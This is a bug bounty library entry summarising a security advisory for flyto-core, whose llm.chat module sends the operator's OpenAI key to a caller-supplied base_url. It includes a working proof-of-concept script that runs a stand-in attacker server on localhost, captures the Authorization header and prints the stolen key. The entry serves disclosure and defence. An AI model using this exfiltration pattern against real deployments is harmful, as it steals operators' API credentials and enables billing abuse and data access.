# Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url

flyto-core's llm.chat attaches the operator's env provider key to a caller-controlled base_url, letting an attacker host steal OPENAI_API_KEY.

- Payout: Research
- Severity: high
- Program: flyto-core
- Found by: kaimandalic
- Disclosed: 2026-07-30
- CVE: CVE-2026-67425
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qq9q-xgm3-xv9g
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qq9q-xgm3-xv9g
- Tags: area:ai domain:ai domain:api impact:data-leak kind:research platform:ghsa sev:high tech:llm tech:python technique:source-review vuln:misconfiguration vuln:secrets-leak vuln:ssrf

**Target:** Python LLM module (llm.chat / ai.model / vector.connector) HTTP client
**Root cause:** The module reads the operator's provider key from the environment and unconditionally sends it as a Bearer token to a caller-supplied base_url; the only check on base_url is an SSRF guard that permits any public host.
**Steps:**
1. Set `OPENAI_API_KEY` in the environment (operator secret).
2. Call `llm.chat` with `base_url` pointing at an attacker-controlled public host, e.g. `base_url=http://localhost:8080` with `FLYTO_ALLOWED_HOSTS=localhost` as stand-in.
3. Module passes SSRF validation (public host allowed) and builds `url = base_url + "/chat/completions"`.
4. Request is sent with `Authorization: Bearer <operator key>`; attacker server captures the header.
**How found:** Code review of the credential-handling path: noticed base_url is caller-controlled while api_key falls back to os.getenv, and that validate_url_with_env_config only enforces SSRF (private-range) rules rather than endpoint trust, so a public attacker host passes.
**Exploitation:** Attacker who can influence base_url (via MCP agent surface or hosted API) points it at their own server; the module auto-attaches the operator's env-derived key and egresses the request, handing over the credential. Same pattern in ai.model (no SSRF check at all), llm.agent, and vector.connector (QDRANT_API_KEY with caller url).
**Escalation:** Stolen keys allow billing abuse and access to data reachable by the key; ai.model variant lacks even the SSRF guard, widening reachable targets.
**Insight:** When a module falls back to an operator env secret, audit every caller-controlled field that influences where that secret is sent; SSRF allowlists validate reachability, not trust, so they never protect credentials from egress to arbitrary public hosts.

## Proof of concept (copied exactly from the original report)

**PoC script exfiltrating operator key via base_url**

```
#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"   # stand-in for the attacker's public host
CAPTURED = {}

class Attacker(BaseHTTPRequestHandler):
    def do_POST(self):
        CAPTURED["auth"] = self.headers.get("Authorization")
        ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
        b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
        self.send_response(200); self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
    def log_message(self, *a): pass

async def main():
    from core.modules.atomic import register_all
    from core.modules.registry import ModuleRegistry
    register_all()
    threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
    res = await ModuleRegistry.execute("llm.chat", params={
        "prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
    }, context={})
    print("module ok:", res.get("ok"))
    print("Authorization received by attacker:", CAPTURED.get("auth"))
```

